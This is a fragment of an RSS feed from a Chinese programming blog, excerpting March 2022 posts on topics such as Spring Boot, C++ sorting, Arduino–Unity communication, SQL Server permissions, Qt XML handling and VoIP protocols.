      <pubDate>Thu, 17 Mar 2022 16:31:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fa3b033886f27c31eb4f1a1247a281f/</guid>
      <description>文章目录 1. Spring Boot1.1 什么是Spring Boot？1.2 SpringBoot 官方的一些解释 2. 微服务架构2.1 单体应用架构2.2 微服务架构2.3 分布式要解决的问题 3. 搭建第一个SpringBoot程序3.1 在官方下载一个SpringBoot程序3.2 在IDEA中，创建SpringBoot程序(推荐) 4. Maven 配置jdk1.8编译5. SpringBoot的大体结构6. SpringBoot banner在线生成工具7. SpringBoot的 Pom.xml内容分析7.1 父工程 parent 和 修改依赖版本7.2 starter场景启动器7.3 SpringBoot的自动配置 8. SpringBoot 默认的包结构9. SpringBoot的默认配置10. SpringBoot 按需加载(即插即用) 1. Spring Boot 1.1 什么是Spring Boot？ Spring的目的是为了解决企业级应用开发的复杂性而创建的，简化开发。&#xA;SpringBoot就是一个JavaWeb的开发框架。&#xA;1.2 SpringBoot 官方的一些解释 SpringBoot是整合Spring技术栈的快速开发脚手架。&#xA;SpringBoot适用条件(官方规定)：&#xA;java8以上版本。Maven3.3以上版本。 此外，不同版本的Springboot，可能还对java或Maven版本有要求。这个对于每个版本可以查看它的reference Doc参考文档。&#xA;参考文档里面有个Getting Started快速上手。&#xA;在Getting Start中找到System Requirements系统环境。&#xA;springboot可以做的一些事情：&#xA;Microservices(微服务架构)：将多个功能拆分成多个服务。Reactive：响应式。Cloud：云开发，分布式架构。Web apps：Web开发，ssm设计。Serverless：无服务开发(函数式服务)Event Driven：事件驱动。Batch：批处理。 springboot的两个技术栈：&#xA;servlet栈和响应栈，就是两种技术流。平时学到的springmvc等技术属于servlet栈层次的。&#xA;Springboot的优缺点：&#xA;2. 微服务架构 2.1 单体应用架构 all in one 单体应用架构：</description>
    </item>
    <item>
      <title>Mac 安装 MAT内存分析工具</title>
      <link>https://bchobby.github.io/posts/d05a94becd2891049087590289fe786d/</link>
      <pubDate>Thu, 17 Mar 2022 14:58:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d05a94becd2891049087590289fe786d/</guid>
      <description>一、 下载&#xA;https://www.eclipse.org/downloads/download.php?file=/mat/1.10.0/rcp/MemoryAnalyzer-1.10.0.20200225-macosx.cocoa.x86_64.zip&#xA;注意选择国内的下载镜像文件，会很快。如下图所示：&#xA;二、安装&#xA;使用unzip命令解压刚才下载的zip文件，解压后得到mat文件，如下&#xA;双击mat文件打开会报如下错误&#xA;按照提示打开日志文件，会有如下错误信息&#xA;java.lang.IllegalStateException: The platform metadata area could not be written: /private/var/folders/bx/32k5wynn03l5htl0lkzz4bw00000gn/T/AppTranslocation/907E9021-3F3C-441C-BAF5-F40CFD9ADD01/d/mat.app/Contents/MacOS/workspace/.metadata. By default the platform writes its content under the current working directory when the platform is launched. Use the -data parameter to specify a different content area for the platform. at org.eclipse.core.internal.runtime.DataArea.assertLocationInitialized(DataArea.java:70) at org.eclipse.core.internal.runtime.DataArea.getStateLocation(DataArea.java:138) at org.eclipse.core.internal.preferences.InstancePreferences.getBaseLocation(InstancePreferences.java:44) at org.eclipse.core.internal.preferences.InstancePreferences.initializeChildren(InstancePreferences.java:209) at org.eclipse.core.internal.preferences.InstancePreferences.&amp;lt;init&amp;gt;(InstancePreferences.java:59) at org.eclipse.core.internal.preferences.InstancePreferences.internalCreate(InstancePreferences.java:220) at org.eclipse.core.internal.preferences.EclipsePreferences.create(EclipsePreferences.java:349) at org.eclipse.core.internal.preferences.EclipsePreferences.create(EclipsePreferences.java:337) at org.eclipse.core.internal.preferences.PreferencesService.createNode(PreferencesService.java:393) at org.eclipse.core.internal.preferences.RootPreferences.getChild(RootPreferences.java:60) at org.</description>
    </item>
    <item>
      <title>有关拆分弹窗报错问题汇总</title>
      <link>https://bchobby.github.io/posts/fdb293bedcade2fed9cd5e8a2b378e49/</link>
      <pubDate>Thu, 17 Mar 2022 14:44:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdb293bedcade2fed9cd5e8a2b378e49/</guid>
      <description> 如果父组件传递过来的值是绑定到子组件的v-model上，那么传的值需要是对象或数组形式子组件关闭弹窗需要调用父组件的方法（子组件不能修改父组件传递过来的值）id值如果是用的路由的，子组件中的方法中需要传参为id时，需要写为id:this.$route.query.id = &#39;&#39; </description>
    </item>
    <item>
      <title>Peer’s Certificate issuer is not recognized.</title>
      <link>https://bchobby.github.io/posts/328b9c191ebfc9c51620e7dc41ac9ee3/</link>
      <pubDate>Thu, 17 Mar 2022 13:39:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328b9c191ebfc9c51620e7dc41ac9ee3/</guid>
      <description>https://192.168.244.139/&#xA;Peer’s Certificate issuer is not recognized.&#xA;HTTP Strict Transport Security: false&#xA;HTTP Public Key Pinning: false&#xA;Certificate chain:&#xA;-----BEGIN CERTIFICATE-----&#xA;MIIDMjCCAhoCCQCiqUaZA5xeMTANBgkqhkiG9w0BAQsFADBbMQswCQYDVQQGEwJD&#xA;TjELMAkGA1UECAwCSlMxCzAJBgNVBAcMAldYMQwwCgYDVQQKDAN6d3gxDTALBgNV&#xA;BAsMBGpobXkxFTATBgNVBAMMDGh1Yi5qaG15LmNvbTAeFw0yMjAyMjIwNTQ3NTda&#xA;Fw0yMzAyMjIwNTQ3NTdaMFsxCzAJBgNVBAYTAkNOMQswCQYDVQQIDAJKUzELMAkG&#xA;A1UEBwwCV1gxDDAKBgNVBAoMA3p3eDENMAsGA1UECwwEamhteTEVMBMGA1UEAwwM&#xA;aHViLmpobXkuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx13G&#xA;8daXfwY/Jf41As/4F2/fEEzpLo1w88B0ZPgQTvi/UbMuXYBbdkmO0vdMdnZExKxe&#xA;Uwp+g6HSnosNqeIN4JQEhFaCG16s0wOSQ5iQqf960D3lDxWi+Sy/cAIjD65C3Rj+&#xA;sASStBbsFaAq89+T4BCPpn86SkoT7H3DlEosOlhVrmqNTJfZozbSjtulAKZZ3jkj&#xA;oph9P2Htj3yPMMC4FvelPzL5zAOcmFlqXArPJlWYKDdxBBhBj/Ld4k5C10U2kauI&#xA;V9BLhbeSb0bn2/9ga1rKDwlSkyXxZ55Il/35nClUgnHFDonoBe5O/nXBl0stcGXy&#xA;vlor3GvTvxl+SzPRxQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBWA3SNtxALBQZL&#xA;aayz+3Btrn4vD4HE+WYh8eD5T7boz1BWUEvGpbERJGIj3wJvkL9g9KoSgpMPnf4C&#xA;ng3t4LRNDrxqmFqhAl4a2hCocLVp6hYXeMF7bT0GHe32rMIVkkIRUxKibcmLTKGD&#xA;fQ/JGE82KqQWiXw0+q3pLPeoF+w3rOpVAc7mWHOZbGYOUrdJjJki2MtpwdXk6NbD&#xA;tUYRi1Yb3a8MK1oCICjU0okG0WdAvGnM0xvJ+U5Z/8MJUTtN+bPCdG5Gye7FQGoT&#xA;C8qL8aWED7OeFnEEfWovIxsSWYFKkXutW5Oz2bAhpRHQIVznqDWJ5QEQoABdDvyW&#xA;yc+mr8JW&#xA;-----END CERTIFICATE-----&#xA;刚刚不知道咋回事我点开那个【Add Exception】，然后点了下大概是不报告这个异常，然后就找到了我的harbor界面：</description>
    </item>
    <item>
      <title>数组排序——c&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/8a547da1e99e1a7cee36ec7dfde71727/</link>
      <pubDate>Thu, 17 Mar 2022 10:13:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a547da1e99e1a7cee36ec7dfde71727/</guid>
      <description>循环输入5个数据，进行降序排序后输出结果 冒泡排序选择排序逆序排序 冒泡排序 1.冒泡排序的思路：&#xA;每轮排序将未排序中的最大值或最小值冒上去。每轮比较是通过相邻值的比较交换来将最小值或最大值冒泡冒上去。 如：数组：9，23，90，22，15；&#xA;第一轮：所有数字还未排序（我们这里将最小值冒上去）&#xA;注意：（这里的上指的是数组较大的坐标，当然你可以按自己的思路理解）&#xA;第二轮比较的时候就无需再比较队顶的元素：&#xA;通过该方法就可以进行排序了。&#xA;2.冒泡排序的特点：&#xA;（1）总共要需要 数组长度-1 轮比较，因为最后一个数字无需再独自排序&#xA;（2）第一轮比较的次数是 总长度-1，第二次比较的次数是 总长度-2，所以第 i 轮比较次数是 总长度 - i&#xA;3.代码：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; int main() { /* 总共要需要 总长度-1 轮比较，因为最后一个数字无需再排序 第一轮比较的次数是总长度-1，第二次比较的次数比第一次-1 */ int num[]{15,22,90,23,9}; int n=sizeof(num)/sizeof(int); //外层循环控制比较的轮数 for(int i=0;i&amp;lt;n-1;i++ ){ //内层循环控制每轮的比较和交换 //下标从0开始所以是 n-i-1 for(int j=0;j&amp;lt;n-i-1;j++){ //将比较大的数向上冒泡，（这里的上指的是数组较大的坐标，当然你可以按自己的思路理解） if(num[j]&amp;gt;num[j+1]){ int t=num[j]; num[j]=num[j+1]; num[j+1]=t; } } } for(int i=0;i&amp;lt;n;i++) cout&amp;lt;&amp;lt;num[i]&amp;lt;&amp;lt;&#34; &#34;; cout&amp;lt;&amp;lt;endl; return 0; } 输出：&#xA;9 15 22 23 90 选择排序 1.</description>
    </item>
    <item>
      <title>Arduino和Unity通信</title>
      <link>https://bchobby.github.io/posts/ee2a4cb54f37b4739e9bd1f8c43c56d0/</link>
      <pubDate>Wed, 16 Mar 2022 15:57:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee2a4cb54f37b4739e9bd1f8c43c56d0/</guid>
      <description> Arduino端 1、连接上单片机，选择对应的端口&#xA;2、Arduino端简单代码示例&#xA;//Arduino端代码 void setup() { Serial.begin(9600); // 打开串口，设置波特率为9600 bps } void loop() { int val;//定义数据类型 val=analogRead(0); //光照传感器接于模拟口0 Serial.println(val,DEC);//从串口发送数据并换行 delay(200);//延迟发送 } 3、上传程序到单片机&#xA;Unity端 1、下载unity插件实现Arduino和Unity的通信的unity插件https://download.csdn.net/download/weixin_42872122/84992844&#xA;2、打开可实现读写的场景&#xA;3、修改端口和波特率值一致&#xA;4、 运行就可以得到单片机传过来的值啦&#xA;5、当然啦，这个是插件的演示程序。想复刻到自己的项目中也很简单，按照演示程序的东西依次添加进自己的项目就可，就添加两个脚本的事。 6、脚本中需要注意的几个点 //定义端口 public string portName = &#34;COM3&#34;; //定义波特率 public int baudRate = 9600; // </description>
    </item>
    <item>
      <title>远距离无线监控模组，智能IPC低功耗方案，飞睿无线通信技术发展</title>
      <link>https://bchobby.github.io/posts/e4292838aba4f13ee434727962bac1d4/</link>
      <pubDate>Wed, 16 Mar 2022 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4292838aba4f13ee434727962bac1d4/</guid>
      <description>FRS100自主研发的低功耗远距离无线监控模组，模组分为主机（FRS100-A）和从机（FRS100-B）两个硬件模块，搭配自主研发的APP一起使用。&#xA;从机自带镜头，各个从机可以把监控数据上传到主机，主机通过RJ45连接公网，使用户可以在APP上实时动态掌握监控情况。&#xA;网络摄像机又叫IP CAMERA（简称IPC）由网络编码模块和模拟摄像机组合而成。网络摄像机内置一个嵌入式芯片，采用嵌入式实时操作系统。网络摄像机是传统摄像机与网络视频技术相结合的新一代产品。&#xA;智能远距离无线监控模组，既先进、实用、成熟、可靠、又具有开放性和可扩展性，让数字视频监控对现场设备进行集中监控、控制和管理，使这些设备得以安全、可靠、高效地运行。&#xA;最大限度地发挥智能管理的作用，创造安全、健康、舒适宜人和能提高工作效率的优良环境，节约能源，并减少维护人员，是解决远距离视频监控领域问题最优解决方案。&#xA;IPC支持WIFI无线接入，基于网络传输的数字化设备，还有网络输出接口，可直接将摄像机接入本地局域网。&#xA;可以实现音视频同步存储录制，同时具备手动录像、报警录像、定时 录像等多种录像方式。可在设备上智能检索录像文件，并且直接在显示屏上回放录像。&#xA;智能低功耗远距离监控模组，可用于别墅、庭院、果园、养殖、工程、水利、石油开发、户外科考调研、平安农村及城市项目建设、森林防火领域。&#xA;整套方案采用两个硬件模块和一个APP软件，硬件模块分为主机和从机，从机自带摄像头和WIFI模块，可将采集的视频流数据，通过WIFI传输到主机（一个主机最多可接六个从机），主机可通过RJ45连接至外网。&#xA;将各个从机传输过来的数据，通过P2P透传技术传送至APP端，使用户能在APP端在线观看监控信息，也可以通过APP给从机下发各种指令，主机模块预留硬盘接口，用户也可以在将监控的数量存储到硬盘里面。&#xA;主机模块（FRS100-A）器件图&#xA;从机模块（FRS100-B）器件图&#xA;从机FRS100-B镜头YTOT，FNO.：2.0±10%；焦距：2.58±5%；光学后焦：4.25±0.2(in air)，机械后焦：4.17±0.2(in air)；分辨率：1920*1080（HD）。&#xA;主机FRS100-A网络WIFI，私有协议云望CWS2200 WIFI模组；RJ45 ，通过RJ45连接至公网。本地存储，支持移动硬盘，支持USB和SATA接口。闪存16M。&#xA;智能FRS100低功耗远距离无线监控模组，支持MESH组网自动信道侦测，支持并发6路MESH组网，最远距离&amp;lt;3KM，复杂环境有衰减。支持APP上实时监控；P2P透传；手机客户端安卓、IOS；支持录像回放；支持手机实时截图。&#xA;如果家人外出，还可以帮你看家。如果有人非法闯入，或者家里不慎起火，会立刻报警，同时抓拍图片，通过email把图片发送给你，让你第一时间了解家里发生的事情。</description>
    </item>
    <item>
      <title>HTML5媒体元素（audio与video）及其常用属性详解</title>
      <link>https://bchobby.github.io/posts/17793af003bb79fb996883510b1fdbd9/</link>
      <pubDate>Wed, 16 Mar 2022 15:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17793af003bb79fb996883510b1fdbd9/</guid>
      <description>HTML5媒体元素（audio与video）及其常用属性详解&#xA;HTML 音频(Audio)元素 HTML5 元素是一个 HTML5 元素，在 HTML 4 中是非法的，但在所有浏览器中都有效。&#xA;The element works in all modern browsers.&#xA;互联网上的音频&#xA;直到现在，仍然不存在一项旨在网页上播放音频的标准。&#xA;今天，大多数音频是通过插件（比如 Flash）来播放的。然而，并非所有浏览器都拥有同样的插件。&#xA;HTML5 规定了在网页上嵌入音频元素的标准，即使用&amp;lt;audio&amp;gt; 元素。&#xA;HTML 音频/视频 方法 HTML5 DOM 为 和 元素提供了方法、属性和事件。&#xA;这些方法、属性和事件允许您使用 JavaScript 来操作 和 元素。&#xA;方法描述addTextTrack()向音频/视频添加新的文本轨道。canPlayType()检测浏览器是否能播放指定的音频/视频类型。play()开始播放音频/视频。pause()暂停当前播放的音频/视频。 audio元素的常用属性 属性描述autoplay设置或返回是否在加载完成后随即播放音频。controls设置或返回音频/视频是否显示控件（比如播放/暂停等）。currentTime设置或返回音频中的当前播放位置（以秒计）。duration返回当前音频的长度（以秒计）ended返回音频的播放是否已结束。loop设置或返回音频/视频是否应在结束时重新播放。paused设置或返回音频/视频是否暂停。preload设置或返回音频/视频是否应该在页面加载后进行加载。 以下我们将使用 &amp;lt;audio&amp;gt; 标签来描述 MP3 文件(Internet Explorer、Chrome 以及 Safari 中是有效的),&#xA;同样添加了一个 OGG 类型文件(Firefox 和 Opera浏览器中有效)。&#xA;如果失败，它会显示一个错误文本信息:&#xA;&amp;lt;audio controls&amp;gt; &amp;lt;source src=&#34;horse.mp3&#34; type=&#34;audio/mpeg&#34;&amp;gt; &amp;lt;source src=&#34;horse.ogg&#34; type=&#34;audio/ogg&#34;&amp;gt; Your browser does not support this audio format.</description>
    </item>
    <item>
      <title>java的回调</title>
      <link>https://bchobby.github.io/posts/0aabf43b312a5e455af03c9c34ac5983/</link>
      <pubDate>Wed, 16 Mar 2022 14:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aabf43b312a5e455af03c9c34ac5983/</guid>
      <description>回调的本质：A类a方法调用B类的b方法，b方法再调用A类的c方法。&#xA;举个例子：&#xA;现在领导要员工A做一件事，给他发布了任务，需要员工A做完后通知再领导。&#xA;对于领导来说：发布任务（fabuTask）,获得结果（result）&#xA;对于员工来说：处理任务（doSomthing）,通知领导结果（result）&#xA;代码实现：&#xA;/** * 回调的方法 * */ public interface CallBack { void result(String result); } 领导发布的任务：让员工做事 /** * 领导发布任务、获得结果 * */ public class Manager implements CallBack{ @Override public void result(String result) { System.out.println(result); } public void fabuTask(EmployeeInterfce employee) throws InterruptedException { System.out.println(&#34;领导发布任务&#34;); employee.doSomthing(new Manager());&#x9;} } 员工处理事情，需要接收一个CallBack参数,这样才能知道要向谁反馈 /** * 员工做事、通知领导 * */ public class Employee implements EmployeeInterfce{ @Override public void doSomthing(CallBack callBack) { String result = &#34;</description>
    </item>
    <item>
      <title>putchar()和printf()的比较</title>
      <link>https://bchobby.github.io/posts/422599411471cf8a891d42d8e6685343/</link>
      <pubDate>Wed, 16 Mar 2022 14:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/422599411471cf8a891d42d8e6685343/</guid>
      <description>putchar()和printf()的比较 代码练手：输入一个字符，如果输入字符是小写字母（a-z)，则程序以大写字母打印；如果输入字符是大写字母(A-Z)，则程序以小写字母打印。 如果字符是数字（0-9），程序将打印其值的平方&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;math.h&amp;gt; int main() { char a,c,d,z; a=getchar(); if(a &amp;gt;= &#39;a&#39;&amp;amp;&amp;amp;a &amp;lt;= &#39;z&#39;) { a=a-32; putchar(a); } else if(a &amp;gt;= &#39;A&#39;&amp;amp;&amp;amp;a &amp;lt;= &#39;Z&#39;) { a=a+32; putchar(a); } else { printf(&#34;%c, %d\n&#34;, a, (a-48)*(a-48));//此处不能是putchar((a-48)*(a-48)) } return 0; } putchar()和printf()的比较:&#xA;编程者层面来说，主要有这么几个区别：&#xA;①：printf 可以输出一个任意的字符串，还可以有参数，而putchar只能输出一个字符。&#xA;②：printf 的返回值是正常输出的参数的数量，而 putchar 则是是否正常输出。&#xA;底层来说，区别更大：&#xA;①:printf 的时间复杂度是 NlogN ， 而 putchar 复杂度是 O1 ， 输出句子也只有 ON 。&#xA;②:printf 每执行一次，解析一次格式串，而putchar是编译时尽量优化。&#xA;printf功能更强大 可以输出各种格式。&#xA;putchar只能输出单个字符。因为字符的处理很特殊，所以专门有对字符的处理，如 putchar ，getchar 之类的。</description>
    </item>
    <item>
      <title>【SQLserver】 SQLServer 服务器主体无法在当前安全上下文下访问数据库</title>
      <link>https://bchobby.github.io/posts/7496de5fca151254b045d9a14026b099/</link>
      <pubDate>Wed, 16 Mar 2022 10:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7496de5fca151254b045d9a14026b099/</guid>
      <description> 如果执行作业步骤的时候在历史记录中看到报错&#34;SQLServer 服务器主体无法在当前安全上下文下访问数据库&#34;的问题,可以使用以下方式查询哪些数据库开了trustworthy属性，命令如下：&#xA;SELECT name, database_id, is_trustworthy_on FROM sys.databases 默认就msdb开的有。&#xA;要打开数据库trustworthy属性，命令如下：&#xA;ALTER DATABASE 数据库名 SET TRUSTWORTHY 如果还是报错,继续下面语句:&#xA;消息:&#xA;已以用户 dbo 的身份执行。 服务器主体 &#34;sa&#34; 无法在当前安全上下文下访问数据库 &#34;test&#34;。 [SQLSTATE 08004] (错误 916). 该步骤失败。&#xA;ALTER AUTHORIZATION ON DATABASE::数据库名 TO [sa] </description>
    </item>
    <item>
      <title>C&#43;&#43;.实现简易的四则运算计算器</title>
      <link>https://bchobby.github.io/posts/b565c358389999219a0b0ab21324205b/</link>
      <pubDate>Tue, 15 Mar 2022 23:53:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b565c358389999219a0b0ab21324205b/</guid>
      <description>文章目录 C++.简易计算器的实现1 前言1.1 知识点 2 实现流程2.1 简单的流程图2.2 主要函数2.3 其它注意点为什么使用vector存储后缀表达式？ 3 代码分析3.1 头文件head.h3.2 函数实现 head.cpp3.3 main主函数 4 运行截图5 总结 C++.简易计算器的实现 1 前言 为了巩固自己的C++知识点，写了一个简易的四则运算计算器。尤其多用到了一些简单的数据结构与STL标准库的模板。&#xA;1.1 知识点 vector、string、map、stack的使用中缀表达式转后缀表达式对后缀表达式的计算 2 实现流程 2.1 简单的流程图 2.2 主要函数 Despace，去除输入字符串中的空格Convert，对表达式进行转换Caculate，对后缀表达式进行计算 2.3 其它注意点 利用map实现运算符的优先级（这里也可以使用函数与switch语句）Convert函数中使用中转字符串，“当下一字符为符号或NULL时，将数字压入vetcor” 为什么使用vector存储后缀表达式？ 这里的vector存储的是string元素，如果直接以string输出，每一个元素是char类型，将不适合参与计算。使用string后可以使用函数stoi与to_string进行字符串与整数的转换。&#xA;3 代码分析 3.1 头文件head.h #ifndef HEAD_H_ #define HEAD_H_ #include &amp;lt;iostream&amp;gt; #include &amp;lt;string&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;stack&amp;gt; #include &amp;lt;map&amp;gt; using namespace std; //空格的去除 void Despace(string &amp;amp;s); //中缀表达式转后缀 vector&amp;lt;string&amp;gt; Convert(string &amp;amp;s); //对后缀表达式进行计算 void Calculate(vector&amp;lt;string&amp;gt; &amp;amp;s); #endif 3.</description>
    </item>
    <item>
      <title>IDEA相对路径没有效果的问题</title>
      <link>https://bchobby.github.io/posts/4a3c38528f307ff196f3eda3192054db/</link>
      <pubDate>Tue, 15 Mar 2022 20:35:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a3c38528f307ff196f3eda3192054db/</guid>
      <description>最近在各个项目中因为相对路径的问题苦恼许久。尤其是给窗口设置图标时们总是出现java.lang.NullPointerException，在网上寻找解决方法时，找到的只说要修改Working directory，但是也没说要改成什么。&#xA;下面说一下要怎么修改。&#xA;1、修改的位置为：Run -&amp;gt;Edit Configrations -&amp;gt;Working directory&#xA;例子：&#xA;比如我的项目是D:\com\test test是项目名称，&#xA;图片的绝对路径为D:\com\test\src\image\logo.jpg ，&#xA;类的绝对路径为D:\com\test\src\Main.java&#xA;那么在类里引用图片的相对路径就应该是 image/logo.jpg&#xA;Working directory为 D:\com\test\src&#xA;如果有其他lib resources等package的话，Working directory可能就不能写到src了，得写到上一级。</description>
    </item>
    <item>
      <title>javax.el.PropertyNotFoundException EL表达式找不到属性</title>
      <link>https://bchobby.github.io/posts/cddf2384d626a4974c484be25ec7df11/</link>
      <pubDate>Tue, 15 Mar 2022 20:33:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cddf2384d626a4974c484be25ec7df11/</guid>
      <description>在用到el表达式的c:foreach时，出现以下错误&#xA;因为score是一个自定义的数据类型，刚开始怀疑是否不可以引用对象属性，后来始终不能解决问题。偶然发现在as类中没有写score的get set方法。于是添加上了。后来经过查询，发现在引用时属性的首字母需要小写，于是进行修改。运行成功！</description>
    </item>
    <item>
      <title>《Qt开发》读写XML文档1_DOM读写</title>
      <link>https://bchobby.github.io/posts/b139abe94bfd581a5b4d48b8472c1c0c/</link>
      <pubDate>Tue, 15 Mar 2022 17:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b139abe94bfd581a5b4d48b8472c1c0c/</guid>
      <description>一、Qt写XML文件&#xA;1.准备xml文件&#xA;QFile file(&#34;my.xml&#34;);&#xA;if (!file.open(QIODevice::WriteOnly | QIODevice::Truncate))&#xA;return;&#xA;2.准备QDomDocument对象doc&#xA;QDomDocument doc;&#xA;3.准备QDomProcessingInstruction处理指令对象instruction，使用QDomDocument的createProcessingInstruction创建指令，并使用QDomDocument的appendChild, 将指令添加到doc中&#xA;QDomProcessingInstruction instruction;&#xA;instruction = doc.createProcessingInstruction(&#34;xml&#34;,&#34;version=\&#34;1.0\&#34;encoding=\&#34;utf-8\&#34;&#34;);&#xA;doc.appendChild(instruction);&#xA;4.使用QDomDocument的createElement创建根元素，使用QDomDocument的appendChild, 将根元素添加到doc中&#xA;QDomElement root = doc.createElement(tr(&#34;library&#34;)); //根元素的值为library&#xA;doc.appendChild(root);&#xA;5.为根元素root添加子元素&#xA;QDomElement book = doc.createElement(tr(&#34;book&#34;)); //根元素的子元素book&#xA;QDomAttr id = doc.createAttribute(tr(&#34;id&#34;)); //创建属性&#xA;id.setValue(tr(&#34;1&#34;)); //设置属性的值&#xA;book.setAttributeNode(id); //将属性添加到子元素book中&#xA;6.为元素book添加子元素及设置值，并将子元素添加到book元素中&#xA;QDomElement title = doc.createElement(tr(&#34;title&#34;)); //创建book的子元素title&#xA;QDomText text;&#xA;text = doc.createTextNode(tr(&#34;Qt&#34;)); //创建节点文本&#xA;title.appendChild(text); //将文本设置为title子项&#xA;QDomElement author = doc.createElement(tr(&#34;author&#34;));&#xA;text = doc.createTextNode(tr(&#34;shiming&#34;));&#xA;author.appendChild(text);&#xA;book.appendChild(title);&#xA;book.appendChild(author);&#xA;7.将book添加到根元素root中&#xA;root.appendChild(book);</description>
    </item>
    <item>
      <title>javaweb项目修改默认端口号</title>
      <link>https://bchobby.github.io/posts/f65f837b97ca07852870f3794006c89d/</link>
      <pubDate>Tue, 15 Mar 2022 16:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f65f837b97ca07852870f3794006c89d/</guid>
      <description> 打开Tomcat\apache-tomcat-9.0.34\apache-tomcat-9.0.34\conf&#xA;打开server.xml文件&#xA;将8080改为你需要的改的端口号即可 </description>
    </item>
    <item>
      <title>vos系统是什么?vos网络电话系统怎样搭建？</title>
      <link>https://bchobby.github.io/posts/116fb10b45c186bade62656b47b126ce/</link>
      <pubDate>Tue, 15 Mar 2022 16:47:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/116fb10b45c186bade62656b47b126ce/</guid>
      <description>VoIP 运营业务提供的支撑系统，除满足运营费率设定、套餐管理，账户管理、业终端管理、网关管理、数据查询、卡类管理、号码管理、系统管理等基本功能以外，系统还融合了 IVR 回拨直拨业务包，&#xA;H.323 呼叫建立过程涉及到三种信令：RAS 信令（R=注册：Registration、A=许可：Admission&#xA;和S=状态：Status），H.225.0 呼叫信令和H.245 控制信令。其中RAS 信令用来完成终端与网守&#xA;之间的登记注册、授权许可、带宽改变、状态和脱离解除等过程；H.225.0 呼叫信令用来建立两&#xA;个终端之间的连接，这个信令使用Q.931 消息来控制呼叫的建立和拆除，当系统中没有网守时，呼叫&#xA;信令信道在呼叫涉及的两个终端之间打开；当系统中包括一个网守时，由网守决定在终端与网守&#xA;之间或是在两个终端之间开辟呼叫信令信道；H.245 控制信令用来传送终端到终端的控制消息，&#xA;包括主从判别、能力交换、打开和关闭逻辑信道、模式参数请求、流控消息和通用命令与指令等。&#xA;H.245 控制信令信道建立于两个终端之间，或是一个终端与一个网守之间。&#xA;虽然H.323 提供了窄带多媒体通信所需要的所有子协议，但H.323 的控制协议非常复杂。此&#xA;外，H.323 不支持多点发送（Multicast）协议，只能采用多点控制单元（MCU）构成多点会议，因&#xA;而同时只能支持有限的多点用户。H.323 也不支持呼叫转移，且建立呼叫的时间比较长。与H.323&#xA;相反，SIP 是一种比较简单的会话初始化协议。它不像H.323 那样提供所有的通信协议,而是只提&#xA;供会话或呼叫的建立与控制功能。SIP 可以应用于多媒体会议、远程教学及Internet 电话等领域。&#xA;SIP 既支持单点发送（Unicast）也支持多点发送，会话参加者和媒体种类可以随时加入一个已存在&#xA;的会议。SIP 可以用来呼叫人或机器设备，如呼叫一个媒体存储设备记录一个会议，或呼叫一个点&#xA;播电视服务器向会议播放视频信号。&#xA;SIP 是一种应用层协议，可以用UDP 或TCP 作为其传输协议。与H.323 不同的是：SIP 是一种基&#xA;于文本的协议，用SIP 规则资源定位语言描述（SIP Uniform Resource Locators），这样易于实现和&#xA;调试，更重要的是灵活性和扩展性好。由于SIP 仅作于初始化呼叫，而不是传输媒体数据，因而造成&#xA;的附加传输代价也不大。SIP 的URLL 甚至可以嵌入到web 页或其它超文本链路中，用户只需用&#xA;鼠标一点即可发出一个呼叫。与H.323 相比，SIP 还有建立呼叫快，支持传送电话号码的特点&#xA;编码技术&#xA;话音压缩编码技术是VOIP 电话/VOIP 网络电话技术的一个重要组成部分。主要的编码技术&#xA;有ITU－T 定义的G.729、G.723(G.723.1）等。其中G.729 可将经过采样的64kbit/s 话音以几乎不&#xA;失真的质量压缩至8kbit/s。由于在分组交换网络中，业务质量不能得到很好保证，因而需要话音的&#xA;编码具有一定的灵活性，即编码速率、编码尺度的可变可适应性。G.729 原来是8kbit/s 的话音编</description>
    </item>
    <item>
      <title>eclipse打开新工作空间，个人偏好设置问题</title>
      <link>https://bchobby.github.io/posts/ea62937bca5443bf7d5bb9f543c6c235/</link>
      <pubDate>Tue, 15 Mar 2022 11:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea62937bca5443bf7d5bb9f543c6c235/</guid>
      <description>前言：&#xA;导入新的项目到eclipse，之前设置的个人偏好问题消失。&#xA;方法一 1、在已打开的工作空间，点击file，找到Switch Workspace，点击other。&#xA;2、Workspace新建工作空间地址，Copy Settings将Preferences勾选上。&#xA;方法二 通过导入和导出偏好&#xA;导出 1、在已设置好的项目中，空白处右键点击Export，找到preferences&#xA;2、选择需要保存的位置，点击finish&#xA;导入 1、打开需要导入配置的工作空间，点击Import&#xA;2、导入之前导出的偏好文件，点击finish</description>
    </item>
    <item>
      <title>K8s 初始化报错(/var/lib/etcd is not empty)</title>
      <link>https://bchobby.github.io/posts/329ffea10ae41ac7b3fec62a3f40fffc/</link>
      <pubDate>Tue, 15 Mar 2022 11:19:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/329ffea10ae41ac7b3fec62a3f40fffc/</guid>
